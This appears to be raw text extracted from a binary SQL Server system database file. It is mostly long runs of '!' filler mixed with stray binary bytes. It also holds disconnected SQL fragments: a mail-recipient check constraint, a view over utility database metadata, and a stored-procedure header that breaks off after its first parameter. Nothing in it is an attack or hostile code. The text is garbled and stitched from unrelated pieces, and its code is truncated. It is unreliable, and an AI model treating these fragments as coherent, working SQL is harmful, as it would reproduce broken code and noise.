!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`A-<@LC06e/ 48('All ad-hoc plans')0`/ 8(((datalength(isnull([recipients],''))+datalength(isnull([copy_recipients],'')))+datalength(isnull([blind_copy_recipients],'')))<>(0))0/ 8
CREATE VIEW dbo.sysutility_ucp_databases
AS
   SELECT	S.urn
        , S.parent_urn
        , S.Collation
        , S.CompatibilityLevel
        , S.CreateDate
        , S.EncryptionEnabled
        , S.Name
        , S.server_instance_name
        , S.powershell_path
        , S.RecoveryModel
        , [S].[Trustworthy]
        , [S].processing_time
        , S.state 
      FROM [dbo].[syn_sysutility_ucp_databases] AS S
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!:`}@<	
AC}c0// 8CREATE PROCEDURE [dbo].[sp_syscollector_create_collection_item]
    @collection_set_id        int,
